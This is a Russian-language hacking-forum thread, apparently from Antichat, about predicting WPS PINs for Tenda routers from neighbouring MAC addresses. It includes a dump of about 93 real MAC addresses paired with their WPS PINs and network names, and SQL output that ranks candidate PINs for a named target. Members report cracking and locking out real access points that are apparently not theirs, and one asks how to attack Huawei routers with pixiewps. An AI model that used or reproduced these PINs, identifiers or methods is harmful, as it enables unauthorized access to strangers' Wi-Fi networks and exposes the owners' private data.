Уязвимость в протоколе Wi-Fi Protected Setup

TOX1C · 15 Jul 2020

Isica said: ↑

Но от других очень близких точек (+8 и -24) этот пин не находится

Click to expand...

Если предположить, что C8:3A:35:02:F2:F0 - это как раз и есть первое устройство в серии, то от устройств с меньшим MAC адресом брать пинкоды для вычисления бессмысленно, не подойдут.
C8:3A:35:02:F2:F8 1634243 - похоже на потенциальный дубль, после 17 идти 16 никак не может.
В диапазоне C8:3A:35:02:F3:* 3 устройства со static pin, одно 24bit pin - тоже не подходит.
Подходит появившаяся буквально пару дней назад точка, которую запостили выше.

А если поискать от очень дальних устройств, а не от близких?

Monohrom said: ↑

есть шанс что они просто с балды указали и угадали.

Click to expand...

Слабо верится в то, что китаец от балды, вручную набирал MAC и PIN в справку, и очень точно угадал. Разве что у него этот роутер перед носом висел.

Isica · 15 Jul 2020

TOX1C said: ↑

Слабо верится в то, что китаец от балды, вручную набирал MAC и PIN в справку, и очень точно угадал. Разве что у него этот роутер перед носом висел.

Click to expand...

+100

TOX1C said: ↑

Если предположить, что C8:3A:35:02:F2:F0 - это как раз и есть первое устройство в серии, то от устройств с меньшим MAC адресом брать пинкоды для вычисления бессмысленно, не подойдут.

Click to expand...

Однако наблюдается резонанс с C8:3A:35:02:F0:E8 (-520)
Так что, видимо, не первое (да и мак слишком некруглый, как для первого).

Isica · 15 Jul 2020

4Fun
Code:
[+] Found 92 records
[+] 55 anchor points defined
Любопытно, почему именно 55? Это у Вас максимальное кол-во векторов?

Monohrom · 15 Jul 2020

TOX1C said: ↑

Слабо верится в то, что китаец от балды, вручную набирал MAC и PIN в справку, и очень точно угадал. Разве что у него этот роутер перед носом висел.

Click to expand...

В любом случае то что я нашёл похоже на дебаг информацию которая попала в прошивку случайно, а алгоритм случайно в прошивку положить ну это уже клиника

Isica · 15 Jul 2020

Походу, обстановка с реюзингом маков в этом диапазоне:

Code:

*************************** 1. row ***************************
   MAC: C8:3A:35:02:91:A0
models:
        Tenda 11N Wireless Router                           53541598 Nestor_angnes,
        Tenda 11N Wireless Router                           09278325 nuovareti1112,
        Tenda 11N Wireless Router                           01683523 BatMitko
*************************** 2. row ***************************
   MAC: C8:3A:35:02:91:F0
models:
        Tenda 11N Wireless Router                           85467811 Rimann,
        Tenda 11N Wireless Router                           20002000 Rimann,
        Tenda 11N Wireless Router                           09278325 nuovareti1119
*************************** 3. row ***************************
   MAC: C8:3A:35:02:BA:D8
models:
        Tenda 11N Wireless Router                           35806691 TOP-NET-FLORENCIO,
        Tenda 11N Wireless Router                           24366182 Inovacao,
        Tenda 11N Wireless Router                           01789041 DOM
*************************** 4. row ***************************
   MAC: C8:3A:35:02:BB:E8
models:
        Tenda 11N Wireless Router                           96164464 NuCom_02BBE8,
        Tenda 11N Wireless Router                           70829570 Tenda_02BBE8,
        Tenda 11N Wireless Router                           17847643 Abdlhai RMS-Net
*************************** 5. row ***************************
   MAC: C8:3A:35:02:C0:C0
models:
        Tenda 11N Wireless Router                           12345678 NuCom_02C0C0,
        Tenda 11N Wireless Router                           09278325 novareti1047,
        Tenda 11N Wireless Router                           01804164 NuCom_02C0C0
*************************** 6. row ***************************
   MAC: C8:3A:35:02:C3:B0
models:
        Tenda 11N Wireless Router                           45304347 ...DARLENE...,
        Tenda 11N Wireless Router                           25332339 AirWifi_C3B0,
        Tenda 11N Wireless Router                           10650240 Tenda_02C3B0
*************************** 7. row ***************************
   MAC: C8:3A:35:02:DA:00
models:
        Tenda 11N Wireless Router                           54693050 T@mer,
        Tenda 11N Wireless Router                           43665235 ALLAL BEN ABDELLAH,
        Tenda 11N Wireless Router                           01868807 Multilaser_WS01
*************************** 8. row ***************************
   MAC: C8:3A:35:02:DB:40
models:
        Tenda 11N Wireless Router                           61379862 NuCom_02DB40,
        Tenda 11N Wireless Router                           25086164 NATALINA_RSnet_FIBRA,
        Tenda Realtek Router, firmware: V12.01.01.29_multi  54823624 Alal
*************************** 9. row ***************************
   MAC: C8:3A:35:02:05:80
models:
        Tenda 11N Wireless Router                           91482785 AKIWIFI34336,
        Tenda 11N Wireless Router                           57682693 Hibernian 805
*************************** 10. row ***************************
   MAC: C8:3A:35:02:0A:D8
models:
        Tenda 11N Wireless Router                           79096560 Anna,
        Tenda 11N Wireless Router                           78649538 Mimi
*************************** 11. row ***************************
   MAC: C8:3A:35:02:0A:E0
models:
        Tenda 11N Wireless Router                           17179232 Paga ai,
        Tenda Wireless-N Router                             01338560 Tenda
*************************** 12. row ***************************
   MAC: C8:3A:35:02:11:70
models:
        Tenda 11N Wireless Router                           70272406 WLAN2,
        Tenda 11N Wireless Router                           11032809 Prime1689
*************************** 13. row ***************************
   MAC: C8:3A:35:02:11:80
models:
        Tenda 11N Wireless Router                           87654321 Ta dificil,
        Tenda 11N Wireless Router                           14948497 Prime2197
*************************** 14. row ***************************
   MAC: C8:3A:35:02:13:38
models:
        Tenda 11N Wireless Router                           46951502 EISYA-WIFI-FREE,
        Tenda Realtek Router, firmware: V11.13.01.23_multi  45231377 nikolic
*************************** 15. row ***************************
   MAC: C8:3A:35:02:13:E0
models:
        Tenda 11N Wireless Router                           35806691 Sonia,
        Tenda 11N Wireless Router                           25086164 SOUZA
*************************** 16. row ***************************
   MAC: C8:3A:35:02:1C:D0
models:
        Tenda 11N Wireless Router                           74250226 QUANTIS,
        Tenda 11N Wireless Router                           34960844 Igor
*************************** 17. row ***************************
   MAC: C8:3A:35:02:2F:70
models:
        Tenda 11N Wireless Router                           25086164 EUNICE,
        Tenda 11N Wireless Router                           01432169 Tenda_022F70
*************************** 18. row ***************************
   MAC: C8:3A:35:02:34:48
models:
        Tenda 11N Wireless Router                           25086164 wagner_UltraFiber,
        Tenda 11N Wireless Router                           17860475 INTERLIBRE_4178
*************************** 19. row ***************************
   MAC: C8:3A:35:02:3A:58
models:
        Tenda 11N Wireless Router                           35806691 Gustavo,
        Tenda 11N Wireless Router                           01460087 Biblioteca
*************************** 20. row ***************************
   MAC: C8:3A:35:02:4E:18
models:
        Tenda 11N Wireless Router                           35806691 WALLINGTON,
        Tenda 11N Wireless Router                           01510645 ALI
*************************** 21. row ***************************
   MAC: C8:3A:35:02:6F:18
models:
        Tenda 11N Wireless Router                           98765432 Jair,
        Tenda 11N Wireless Router                           12345670 ROREIA
*************************** 22. row ***************************
   MAC: C8:3A:35:02:74:F8
models:
        Tenda 11N Wireless Router                           35806691 WiFi_Sandra,
        Tenda 11N Wireless Router                           14967108 AFFARA
*************************** 23. row ***************************
   MAC: C8:3A:35:02:7A:88
models:
        Tenda 11N Wireless Router                           25086164 Moreno_Fixa,
        Tenda Wireless-N Router (rebranded)                 01624403 Alessi
*************************** 24. row ***************************
   MAC: C8:3A:35:02:7C:68
models:
        Tenda 11N Wireless Router                           38936241 NetMin,
        Tenda 11N Wireless Router                           01629200 TomRaider
*************************** 25. row ***************************
   MAC: C8:3A:35:02:7D:08
models:
        Tenda 11N Wireless Router                           63711394 Nour Net (fakir),
        Tenda Realtek Router, firmware: V11.13.01.23_multi  69823787 Campina Digital F06
*************************** 26. row ***************************
   MAC: C8:3A:35:02:82:E8
models:
        Tenda 11N Wireless Router                           80004127 Margarida Nogueira,
        Tenda 11N Wireless Router                           50685493 NuCom_0282E8
*************************** 27. row ***************************
   MAC: C8:3A:35:02:87:50
models:
        Tenda 11N Wireless Router                           17275583 NuCom_028750,
        Tenda 11N Wireless Router                           01657128 Barny
*************************** 28. row ***************************
   MAC: C8:3A:35:02:87:B8
models:
        Tenda 11N Wireless Router                           44680800 NuCom_0287B8,
        Tenda 11N Wireless Router                           35806691 Vado
*************************** 29. row ***************************
   MAC: C8:3A:35:02:88:78
models:
        Tenda 11N Wireless Router                           96888841 NuCom_028878,
        Tenda 11N Wireless Router                           18572018 J-R-NET-208-71290220
*************************** 30. row ***************************
   MAC: C8:3A:35:02:88:E0
models:
        Tenda 11N Wireless Router                           61478268 Musawar,
        Tenda 11N Wireless Router                           24296625 NuCom_0288E0
*************************** 31. row ***************************
   MAC: C8:3A:35:02:89:08
models:
        Tenda 11N Wireless Router                           64847528 Tenda_028908,
        Tenda 11N Wireless Router                           34736074 SECTEUR SCOLAIRE TAMEZRITE
*************************** 32. row ***************************
   MAC: C8:3A:35:02:89:90
models:
        Tenda 11N Wireless Router                           15186713 fawzi khayat,
        Tenda 11N Wireless Router                           14797316 REDE_MARIA_ALICE
*************************** 33. row ***************************
   MAC: C8:3A:35:02:8A:48
models:
        Tenda 11N Wireless Router                           12345670 MOHIT_TENDA,
        Tenda 11N Wireless Router                           01664720 23
*************************** 34. row ***************************
   MAC: C8:3A:35:02:8B:10
models:
        Tenda 11N Wireless Router                           18294644 abbass,
        Tenda Wireless-N Router                             01666724 djhome
*************************** 35. row ***************************
   MAC: C8:3A:35:02:8B:30
models:
        Tenda 11N Wireless Router                           26778808 T.S,
        Tenda 11N Wireless Router                           01667042 Biliana
*************************** 36. row ***************************
   MAC: C8:3A:35:02:8E:58
models:
        Tenda 11N Wireless Router                           35206347 Colombia,
        Tenda 11N Wireless Router                           16573949 mayada
*************************** 37. row ***************************
   MAC: C8:3A:35:02:8F:30
models:
        Tenda 11N Wireless Router                           53625137 AirWifi_028F30,
        Tenda 11N Wireless Router                           46470591 KETELECOM0846
*************************** 38. row ***************************
   MAC: C8:3A:35:02:8F:90
models:
        Tenda 11N Wireless Router                           79072519 Airwifi_028F90,
        Tenda Wireless-N Router (rebranded)                 01678246 Leuzingar
*************************** 39. row ***************************
   MAC: C8:3A:35:02:8F:D8
models:
        Tenda 11N Wireless Router                           35806691 AMD,
        Tenda 11N Wireless Router                           01678963 Adriana
*************************** 40. row ***************************
   MAC: C8:3A:35:02:90:20
models:
        Tenda 11N Wireless Router                           17575102 AirWifi_029020,
        Tenda 11N Wireless Router                           01679687 Integra
*************************** 41. row ***************************
   MAC: C8:3A:35:02:92:90
models:
        Tenda 11N Wireless Router                           27880975 Tenda_029290,
        Tenda 11N Wireless Router                           01685923 Tenda_029290
*************************** 42. row ***************************
   MAC: C8:3A:35:02:93:10
models:
        Tenda 11N Wireless Router                           35806691 VIATELECOM_JESUS_CRISTO,
        Tenda 11N Wireless Router                           01687200 Mimi
*************************** 43. row ***************************
   MAC: C8:3A:35:02:94:D8
models:
        Tenda 11N Wireless Router                           45304347 Roze,
        Tenda 11N Wireless Router                           16724693 KOBAISSY-NET
*************************** 44. row ***************************
   MAC: C8:3A:35:02:96:F0
models:
        Tenda 11N Wireless Router                           56153071 sashko,
        Tenda 11N Wireless Router                           01697124 nikita
*************************** 45. row ***************************
   MAC: C8:3A:35:02:9D:10
models:
        Tenda 11N Wireless Router                           68340032 Tenda_029D10,
        Tenda 11N Wireless Router                           64883175 WISPEUROPA_2336
*************************** 46. row ***************************
   MAC: C8:3A:35:02:9D:A0
models:
        Tenda 11N Wireless Router                           25086164 SPR_JWE,
        Tenda Wireless-N Router                             01714241 Dorothygigi
*************************** 47. row ***************************
   MAC: C8:3A:35:02:9E:68
models:
        Tenda 11N Wireless Router                           89121566 AirWifi_029EG43,
        Tenda 11N Wireless Router                           25086164 SimoneCosta
*************************** 48. row ***************************
   MAC: C8:3A:35:02:9E:88
models:
        Tenda 11N Wireless Router                           97603177 Airwifi_AB12C3,
        Tenda 11N Wireless Router                           19286341 Fiber Tech 03-458072
*************************** 49. row ***************************
   MAC: C8:3A:35:02:A0:08
models:
        Tenda 11N Wireless Router                           71941233 Panasonic_FiberNett,
        Tenda 11N Wireless Router                           33569666 Tatiana.Fox.Net
*************************** 50. row ***************************
   MAC: C8:3A:35:02:A0:F8
models:
        Tenda 11N Wireless Router                           25086164 boloyong,
        Tenda 11N Wireless Router                           09278325 nuovareti1098
*************************** 51. row ***************************
   MAC: C8:3A:35:02:A2:B0
models:
        Tenda 11N Wireless Router                           25086164 ComercialSobradinho,
        Tenda 11N Wireless Router                           18456509 Tenda_02A2B0
*************************** 52. row ***************************
   MAC: C8:3A:35:02:A7:88
models:
        Tenda 11N Wireless Router                           43180622 WISPEUROPA-2195,
        Tenda 11N Wireless Router                           25086164 Lenir_RedeConesul
*************************** 53. row ***************************
   MAC: C8:3A:35:02:AA:28
models:
        Tenda 11N Wireless Router                           44950958 PCMR,
        Tenda 11N Wireless Router                           25086164 vicente
*************************** 54. row ***************************
   MAC: C8:3A:35:02:AB:88
models:
        Tenda 11N Wireless Router                           61162907 Spark-Wehbi,
        Tenda 11N Wireless Router                           48826921 WISPEUROPA_2220
*************************** 55. row ***************************
   MAC: C8:3A:35:02:B3:60
models:
        Tenda 11N Wireless Router                           25086164 ADRYAN,
        Tenda 11N Wireless Router                           14791116 Goufone_019E42
*************************** 56. row ***************************
   MAC: C8:3A:35:02:B8:B8
models:
        Tenda 11N Wireless Router                           57667140 Hamza,
        Tenda 11N Wireless Router                           45331176 NuCom_02B8B8
*************************** 57. row ***************************
   MAC: C8:3A:35:02:BA:08
models:
        Tenda 11N Wireless Router                           35383888 NuCom_02BA08,
        Tenda Realtek Router, firmware: V11.13.01.23_multi  65335345 Anonymous
*************************** 58. row ***************************
   MAC: C8:3A:35:02:BB:28
models:
        Tenda 11N Wireless Router                           25934908 Tenda_02BB28,
        Tenda 11N Wireless Router                           00000000 JAAFAR
*************************** 59. row ***************************
   MAC: C8:3A:35:02:BB:90
models:
        Tenda 11N Wireless Router                           84355546 ahmad kadi @BilalNet03898007,
        Tenda 11N Wireless Router                           72674925 HARCHA
*************************** 60. row ***************************
   MAC: C8:3A:35:02:BD:60
models:
        Tenda 11N Wireless Router                           36707256 Tenda 31,
        Tenda 11N Wireless Router                           28231660 NuCom_02BD60
*************************** 61. row ***************************
   MAC: C8:3A:35:02:BF:78
models:
        Tenda 11N Wireless Router                           43015368 air2bite_Barbara,
        Tenda 11N Wireless Router                           16356153 Alaa12
*************************** 62. row ***************************
   MAC: C8:3A:35:02:C0:48
models:
        Tenda 11N Wireless Router                           25086164 logar_patricia,
        Tenda 11N Wireless Router                           09278325 nuovareti1312
*************************** 63. row ***************************
   MAC: C8:3A:35:02:C0:E0
models:
        Tenda 11N Wireless Router                           10601778 NuCom_02C0E0,
        Tenda Wireless-N Router                             01804485 IPCAM
*************************** 64. row ***************************
   MAC: C8:3A:35:02:C0:F0
models:
        Tenda 11N Wireless Router                           09278325 nuovareti1002,
        Tenda Wireless-N Router (rebranded)                 01804645 d1a2n3i4l5o6
*************************** 65. row ***************************
   MAC: C8:3A:35:02:C1:70
models:
        Tenda 11N Wireless Router                           43015368 air2bite_wifi,
        Tenda Realtek Router, firmware: V11.13.01.25_multi  56080780 NETWORKING 2
*************************** 66. row ***************************
   MAC: C8:3A:35:02:C2:88
models:
        Tenda 11N Wireless Router                           46371874 MOVISTAR_5F18,
        Tenda 11N Wireless Router                           18258813 Tenda_02C288
*************************** 67. row ***************************
   MAC: C8:3A:35:02:C3:08
models:
        Tenda 11N Wireless Router                           91986597 Vzone76151122 Aboali,
        Tenda 11N Wireless Router                           80305972 AirWifi_FranciscoM
*************************** 68. row ***************************
   MAC: C8:3A:35:02:C4:48
models:
        Tenda Realtek Router, firmware: V11.13.01.25_multi  15652386 Tenda_02C448,
        Tenda Wireless-N Router                             01813203 ZeeBG_Bella
*************************** 69. row ***************************
   MAC: C8:3A:35:02:C4:50
models:
        Tenda 11N Wireless Router                           25086164 ALVES,
        Tenda Wireless-N Router                             01813289 Lachezar
*************************** 70. row ***************************
   MAC: C8:3A:35:02:CD:20
models:
        Tenda 11N Wireless Router                           26659435 ALIVE_NET,
        Tenda 11N Wireless Router                           25086164 ALIVE_NET
*************************** 71. row ***************************
   MAC: C8:3A:35:02:D5:98
models:
        Tenda 11N Wireless Router                           35806691 ASbyte C2R3,
        Tenda 11N Wireless Router                           00000000 NuCom_339CB8
*************************** 72. row ***************************
   MAC: C8:3A:35:02:D7:18
models:
        Tenda 11N Wireless Router                           24091534 YEHYA,
        Tenda 11N Wireless Router                           01861365 JUNIOR
*************************** 73. row ***************************
   MAC: C8:3A:35:02:D7:D8
models:
        Tenda 11N Wireless Router                           35806691 CPT,
        Tenda 11N Wireless Router                           00000000 asad
*************************** 74. row ***************************
   MAC: C8:3A:35:02:D8:30
models:
        Tenda 11N Wireless Router                           19028170 NuCom_02D830,
        Tenda 11N Wireless Router                           01864168 CW18
*************************** 75. row ***************************
   MAC: C8:3A:35:02:DA:08
models:
        Tenda 11N Wireless Router                           57306254 Issam Home,
        Tenda 11N Wireless Router                           45623073 TARIK IBN ZIAD
*************************** 76. row ***************************
   MAC: C8:3A:35:02:DB:B0
models:
        Tenda 11N Wireless Router                           91395733 NuCom_02DBB0,
        Tenda 11N Wireless Router                           13076344 RR
*************************** 77. row ***************************
   MAC: C8:3A:35:02:DB:D0
models:
        Tenda 11N Wireless Router                           99879891 NuCom_02DBD0,
        Tenda 11N Wireless Router                           11560517 Alex
*************************** 78. row ***************************
   MAC: C8:3A:35:02:DD:58
models:
        Tenda 11N Wireless Router                           37170943 OULED HADOU,
        Tenda 11N Wireless Router                           36789818 PENTAGRAM
*************************** 79. row ***************************
   MAC: C8:3A:35:02:DD:78
models:
        Tenda 11N Wireless Router                           45652547 BN ANZARANE,
        Tenda 11N Wireless Router                           01877687 NO-WIFI
*************************** 80. row ***************************
   MAC: C8:3A:35:02:E0:D0
models:
        Tenda 11N Wireless Router                           35806691 Virus,
        Tenda 11N Wireless Router                           18608465 youssef khoury
*************************** 81. row ***************************
   MAC: C8:3A:35:02:E1:50
models:
        Tenda 11N Wireless Router                           25086164 SPR_JOELMA_MANUELA,
        Tenda 11N Wireless Router                           19750750 rada miteva
*************************** 82. row ***************************
   MAC: C8:3A:35:02:E1:A0
models:
        Tenda 11N Wireless Router                           31285018 BiBi_TENDA,
        Tenda 11N Wireless Router                           13099640 Kabachek-Meg@net
*************************** 83. row ***************************
   MAC: C8:3A:35:02:E8:90
models:
        Tenda 11N Wireless Router                           34137871 QUANTIS,
        Tenda 3G 11N Router                                 01906080 status
*************************** 84. row ***************************
   MAC: C8:3A:35:02:E9:F8
models:
        Tenda 11N Wireless Router                           99608279 Tenda_02E9F8,
        Tenda 11N Wireless Router                           01909685 CAPITAO
*************************** 85. row ***************************
   MAC: C8:3A:35:02:EA:00
models:
        Tenda 11N Wireless Router                           25777390 TCD:DANIEL,
        Tenda Wireless-N Router                             01909760 Tenda
*************************** 86. row ***************************
   MAC: C8:3A:35:02:EC:F0
models:
        Tenda 11N Wireless Router                           98770113 QUANTIS1,
        Tenda 11N Wireless Router                           34778272 Pantiru-WiFi
*************************** 87. row ***************************
   MAC: C8:3A:35:02:ED:B0
models:
        Tenda 11N Wireless Router                           61348059 Wahid,
        Tenda 11N Wireless Router                           18558791 ZNMITKO
*************************** 88. row ***************************
   MAC: C8:3A:35:02:F2:10
models:
        Tenda 11N Wireless Router                           50310395 NO NAME,
        Tenda 11N Wireless Router                           21464546 zubko-meganet
*************************** 89. row ***************************
   MAC: C8:3A:35:02:F2:98
models:
        Tenda 11N Wireless Router                           61869684 Tahhan,
        Tenda 11N Wireless Router                           50189069 WISPEUROPA_2246
*************************** 90. row ***************************
   MAC: C8:3A:35:02:F5:58
models:
        Tenda 11N Wireless Router                           25086164 CRISTIANE,
        Tenda 11N Wireless Router                           13234331 La Puchi lo sabe
*************************** 91. row ***************************
   MAC: C8:3A:35:02:F9:C8
models:
        Tenda 11N Wireless Router                           71398570 BravaVlas,
        Tenda 11N Wireless Router                           51235031 OR050
*************************** 92. row ***************************
   MAC: C8:3A:35:02:FC:48
models:
        Tenda 11N Wireless Router                           42750710 Jetnet,
        Tenda 11N Wireless Router                           01956566 Tenda_02FC48
*************************** 93. row ***************************
   MAC: C8:3A:35:02:FF:08
models:
        Tenda 11N Wireless Router                           62912785 Wifi,
        Tenda 11N Wireless Router                           16821248 dhayweh-international
93 rows in set (0.08 sec)

Isica · 15 Jul 2020

Monohrom said: ↑

В любом случае то что я нашёл похоже на дебаг информацию которая попала в прошивку случайно, а алгоритм случайно в прошивку положить ну это уже клиника

Click to expand...

А что там можно было дебажить без алгоритма?

Monohrom · 15 Jul 2020

Isica said: ↑

А что там можно было дебажить без алгоритма?

Click to expand...

Это было из разряда фантазий. Не обращайте внимания

4Fun · 15 Jul 2020

Isica said: ↑

Любопытно, почему именно 55? Это у Вас максимальное кол-во векторов?

Click to expand...

Остальные были отсеяны по 4 причинам:
1) лимит DeltaMAC, определённый максимальным ключом в файле tenda_deltas.json (4096);
2) DeltaMAC не является одним из известных; такое может произойти, когда целевой MAC чётный, а MAC опорной точки нечётный, например 11:22:33:44:55:60 и 11:22:33:44:55:01
3) были найдены признаки левых нецелевых роутеров (например, статичные пины или MAC в пин по какому-либо известному алгоритму);
4) повторяющиеся записи.
По умолчанию ограничения на количество опорных точек нет, но его можно задать аргументом --anchors

Felis-Sapiens · 16 Jul 2020

Monohrom said: ↑

В мае ковырял Netis WF2411D и обнаружил в прошивке интересную вещь:

Click to expand...

В какой конкретно прошивке?

Monohrom · 17 Jul 2020

Felis-Sapiens said: ↑

В какой конкретно прошивке?

Click to expand...

Точно не скажу потому что было в мае. У меня с того времени только заметка что данный js файл был найден в нетисе. Прошивки не сохранилось, точного названия не помню.

Monohrom · 18 Jul 2020

TOX1C said: ↑

И что-то мне подсказывает, что у реальной точки прошивка будет совпадать с прошивкой тех устройств, на основе которых подсчитался pin.

Click to expand...

Cудя по всему так и есть.
Искомая Тенда:
CC:2D:21:1C:AF:41 69024733 Tenda Web (AC10), hardware: V1.0, firmware: V15.03.06.48_multi
Опорная Тенда благодаря какой нашёлся пин-код:
CC:2D:21:1C:AF:11 63151213 Tenda Web (AC10), hardware: V1.0, firmware: V15.03.06.48_multi
Обе тенды это:Tenda AC10 на базе Realtek RTL8197FS

На этих Тенда и пароли дефолтные появились

Алгоритм генерации пин-кодов для Тенд на базе броадкома eCos
https://github.com/drygdryg/Tenda-AC/blob/master/bcm/src/router/shared/broadcom.c
Искать функцию:wl_wpsPinGen()

Isica · 18 Jul 2020

Monohrom said: ↑

На этих Тенда и пароли дефолтные появились

Click to expand...

А пароль весёлый Пора составлять словарь табличку DeltaMAC--DeltaPass

TOX1C · 18 Jul 2020

Monohrom said: ↑

Опорная Тенда благодаря какой нашёлся пин-код:

Click to expand...

Под боком затесалась интересная точка, для которой от этих двух опорных сгенерировались разные пины, и они не подходят - не нашелся даже первый халф. Дважды увел точку в лок.
CC:2D:21:1C:AF:E1

Оно мнит себя Realtek Wireless AP, но похоже что не тем, которые засветились в базе.

Monohrom · 18 Jul 2020

TOX1C said: ↑

Под боком затесалась интересная точка, для которой от этих двух опорных сгенерировались разные пины, и они не подходят - не нашелся даже первый халф. Дважды увел точку в лок.

Click to expand...

Роутеров с такой прошивкой в базе всего 65 штук. Так что не удивительно.

Isica · 18 Jul 2020

TOX1C said: ↑

Под боком затесалась интересная точка, для которой от этих двух опорных сгенерировались разные пины, и они не подходят - не нашелся даже первый халф. Дважды увел точку в лок.
CC:2D:21:1C:AF:E1

Click to expand...

А эти пробовали?

Code:

MariaDB [Tenda]> select tenda_pin8('CC:2D:21:1C:AF:E1');
*************************** 1. row ***************************
tenda_pin8('CC:2D:21:1C:AF:E1'):
|----------------------------------------------------------------------------------------------|
|Опорные точки (ближайшие данные в базе):
|1) CC:2D:21:1C:A4:71, -2928,    913 пар, 125 уникальных дельт (1:7.30), 59 мажорных(вес 92.8%)
|2) CC:2D:21:1C:C8:01, +6176,    442 пар, 108 уникальных дельт (1:4.09), 46 мажорных(вес 86.0%)
|3) CC:2D:21:1D:09:31, +22864,   176 пар,  79 уникальных дельт (1:2.23), 17 мажорных(вес 64.8%)
|4) CC:2D:21:1D:1C:11, +27696,   175 пар,  72 уникальных дельт (1:2.43), 24 мажорных(вес 72.6%)
|5) CC:2D:21:1C:35:A1, -31296,   144 пар,  61 уникальных дельт (1:2.36), 12 мажорных(вес 66.0%)
|6) CC:2D:21:1C:19:11, -38608,   147 пар,  92 уникальных дельт (1:1.60), 24 мажорных(вес 53.7%)
|7) CC:2D:21:1D:71:A1, +49600,   118 пар,  67 уникальных дельт (1:1.76), 13 мажорных(вес 54.2%)
|8) CC:2D:21:1E:77:D1, +116720,   95 пар,  83 уникальных дельт (1:1.14),  6 мажорных(вес 18.9%)
|----------------------------------------------------------------------------------------------|
|После объединения осталось 680 пинов, из них 0 полностью перекрёстных (MaxX=1).
|Эффективность халф-оптимизации: 1.45.
|----------------------------------------------------------------------------------------------|
|ИТОГО: 468 фёст-халфов, 0 полно-перекрёстных.
|----------------------------------------------------------------------------------------------|
1 row in set (1.23 sec)

MariaDB [Tenda]> select * from tmp_TendaHalfs where X;
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n    | Half | X    | Xh   | m    | m1   | m2   | m3   | m4   | m5   | m6   | m7   | m8   |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
|    1 | 4121 |    1 |    1 |   21 |   12 |    9 |    0 |    0 |    0 |    0 |    0 |    0 |
|    2 | 4187 |    1 |    1 |   11 |    1 |   10 |    0 |    0 |    0 |    0 |    0 |    0 |
|    3 | 4056 |    1 |    1 |    6 |    3 |    3 |    0 |    0 |    0 |    0 |    0 |    0 |
|    4 | 5121 |    1 |    1 |    5 |    2 |    3 |    0 |    0 |    0 |    0 |    0 |    0 |
|    5 | 9055 |    1 |    2 |    3 |    0 |    0 |    1 |    0 |    1 |    1 |    0 |    0 |
|    6 | 4122 |    1 |    1 |    3 |    0 |    2 |    0 |    1 |    0 |    0 |    0 |    0 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
6 rows in set (0.00 sec)

TOX1C · 19 Jul 2020

Isica said: ↑

А эти пробовали?

Click to expand...

Второй предложенный подошел.

Isica said: ↑

Любопытно: подойдут ли коды?

Click to expand...

Для вот этой (50:0F:F5:A1:CC:01) верный пин на втором месте (10415962). У всех бонусных точек wps выключен по умолчанию, поэтому они и отправились на брут.

roman921 · 19 Jul 2020

А у кого-нибудь есть опыт атак на wps роутеры huavei, уязвимы ли они к pixiewps ? На сколько их сложно по wps пробить ?

Isica · 19 Jul 2020

Тогда так:

Code:

MariaDB [Tenda]> select * from tmp_TendaPins where PIN like '4187%' order by n;
+------+---------+------+------+------+------+------+------+------+------+------+------+
| n    | PIN     | X    | m    | m1   | m2   | m3   | m4   | m5   | m6   | m7   | m8   |
+------+---------+------+------+------+------+------+------+------+------+------+------+
|    2 | 4187495 |    1 |    6 |    1 |    5 |    0 |    0 |    0 |    0 |    0 |    0 |
|  127 | 4187751 |    0 |    3 |    0 |    3 |    0 |    0 |    0 |    0 |    0 |    0 |
|  426 | 4187239 |    0 |    1 |    0 |    1 |    0 |    0 |    0 |    0 |    0 |    0 |
|  443 | 4187494 |    0 |    1 |    0 |    1 |    0 |    0 |    0 |    0 |    0 |    0 |
+------+---------+------+------+------+------+------+------+------+------+------+------+
4 rows in set (0.00 sec)

TOX1C · 19 Jul 2020

roman921 said: ↑

А у кого-нибудь есть опыт атак на wps роутеры huavei

Click to expand...

Опыт есть, все зависит непосредственно от модели роутера и его прошивки. Иногда неуязвимы, иногда полный набор - и pixiedust работает, и пин обычный mac2pin.

roman921 · 19 Jul 2020

TOX1C said: ↑

Опыт есть, все зависит непосредственно от модели роутера

Click to expand...

Интересуют такие модели 24:da:33:81:XX:YY HUAWEI-B315-XXYY. У меня не получилось их ривером, они просто не присылали пакеты m1,m2. Стоял около роутера, сигнал -40 был.

Уязвимость в протоколе Wi-Fi Protected Setup

TOX1C Elder - Старейшина

Isica Active Member

Isica Active Member

Monohrom Active Member

Isica Active Member

Isica Active Member

Monohrom Active Member

4Fun Elder - Старейшина

Felis-Sapiens Reservists Of Antichat

Monohrom Active Member

Monohrom Active Member

Attached Files:

password.jpg

Isica Active Member

TOX1C Elder - Старейшина

Monohrom Active Member

Isica Active Member

TOX1C Elder - Старейшина

roman921 Member

Isica Active Member

TOX1C Elder - Старейшина

roman921 Member

Useful Searches

Уязвимость в протоколе Wi-Fi Protected Setup

TOX1C Elder - Старейшина

Isica Active Member

Isica Active Member

Monohrom Active Member

Isica Active Member

Isica Active Member

Monohrom Active Member

4Fun Elder - Старейшина

Felis-Sapiens Reservists Of Antichat

Monohrom Active Member

Monohrom Active Member

Attached Files:

password.jpg

Isica Active Member

TOX1C Elder - Старейшина

Monohrom Active Member

Isica Active Member

TOX1C Elder - Старейшина

roman921 Member

Isica Active Member

TOX1C Elder - Старейшина

roman921 Member